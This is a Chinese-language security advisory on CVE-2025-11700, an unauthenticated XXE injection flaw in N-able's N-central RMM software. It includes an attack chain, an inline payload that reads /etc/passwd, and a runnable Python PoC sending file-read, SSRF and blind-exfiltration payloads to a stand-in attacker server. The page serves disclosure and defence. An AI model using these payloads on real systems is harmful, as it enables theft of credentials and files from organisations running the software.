IPBUF安全漏洞报告
English
CVE-2025-11700 CVSS 7.5 高危

CVE-2025-11700 N-central XXE注入漏洞导致信息泄露

披露日期: 2025-11-12
来源: a5532a13-c4dd-4202-bef1-e0b8f2f8d12b

漏洞信息

漏洞编号
CVE-2025-11700
漏洞类型
XML外部实体注入(XXE)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
N-central

相关标签

XXE注入XML外部实体信息泄露N-centralN-ableRMM软件无需认证CVE-2025-11700高危漏洞

漏洞概述

N-central是一款由N-able公司开发的企业级远程监控和管理(RMM)软件。该软件在2025.4版本之前存在多个XML外部实体(XXE)注入漏洞,攻击者无需认证即可利用此漏洞进行信息泄露。XXE是一种针对解析XML输入的应用程序的攻击技术,攻击者通过在XML文档中引入外部实体引用,可以读取服务器上的敏感文件、发起服务端请求甚至执行远程代码。在N-central中,攻击者可以通过构造恶意的XML payload,利用应用程序对XML输入的处理缺陷,绕过安全限制并获取系统敏感信息。由于该漏洞无需认证即可利用,且CVSS评分达到7.5分,属于高危漏洞,对使用N-central的企业构成严重安全威胁。攻击者可能利用此漏洞获取配置文件、凭据、其他系统访问权限等敏感数据,进而进行横向移动和持久化攻击。

技术细节

XML外部实体注入(XXE)漏洞源于应用程序在处理XML输入时未正确禁用外部实体引用。在N-central中,应用程序的多个端点接受XML格式的输入数据,但未对XML内容进行充分的净化处理。攻击者可以构造包含外部实体引用的恶意XML文档,例如:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>。当应用程序解析此XML时,会尝试访问外部实体指定的资源(本地文件或远程URL),并将结果嵌入到响应中返回给攻击者。攻击者还可以利用参数实体和CDATA节来绕过过滤机制,通过DNS外带通道或错误消息来获取数据。常见的攻击手法包括:读取本地文件(如/etc/passwd、配置文件、密钥文件)、探测内部网络、发起SSRF攻击等。N-central的多个功能模块都存在此漏洞,攻击面较广。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标N-central服务器,探测可访问的Web接口和API端点
STEP 2
步骤2: 构造恶意XML
攻击者构造包含外部实体引用的恶意XML payload,用于读取本地文件或发起SSRF请求
STEP 3
步骤3: 发送恶意请求
攻击者向存在漏洞的端点发送包含恶意XML的HTTP POST请求,无需任何认证
STEP 4
步骤4: 解析XML并触发外部实体
N-central服务器解析XML时,XML解析器会尝试加载外部实体指定的资源(本地文件或远程URL)
STEP 5
步骤5: 数据提取
攻击者通过响应或外带通道获取敏感信息,如/etc/passwd、配置文件、数据库凭据等
STEP 6
步骤6: 横向移动
利用获取的凭据信息对内网其他系统进行横向渗透,扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11700 XXE Injection PoC for N-central # Target: N-central versions < 2025.4 def exploit_xxe(target_url, payload_type='file_read'): """ Exploit XXE vulnerability to read local files or perform SSRF """ # XML payload for reading local files file_read_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>''' # XML payload for SSRF/internal network probing ssrf_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://internal-server/local-test"> ]> <root> <data>&xxe;</data> </root>''' # XML payload using parameter entities for blind XXE blind_xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker-controlled-server/evil.dtd"> %dtd; %all; ]> <root>&exfil;</root>''' payloads = { 'file_read': file_read_payload, 'ssrf': ssrf_payload, 'blind': blind_xxe_payload } xml_payload = payloads.get(payload_type, file_read_payload) headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' } try: print(f"[*] Sending XXE payload to {target_url}") print(f"[*] Payload type: {payload_type}") response = requests.post( target_url, data=xml_payload, headers=headers, timeout=30, verify=False ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11700.py <target_url> [payload_type]") print("Payload types: file_read, ssrf, blind") sys.exit(1) target = sys.argv[1] ptype = sys.argv[2] if len(sys.argv) > 2 else 'file_read' exploit_xxe(target, ptype)

影响范围

N-central < 2025.4

防御指南

临时缓解措施
立即将N-central升级到2025.4或最新版本。如果无法立即升级,可在Web应用层配置XML输入过滤,禁用DTD处理和外部实体解析。对于必须处理XML的场景,建议使用JSON等更安全的替代格式。同时监控异常XML请求日志,及时发现和阻断XXE攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表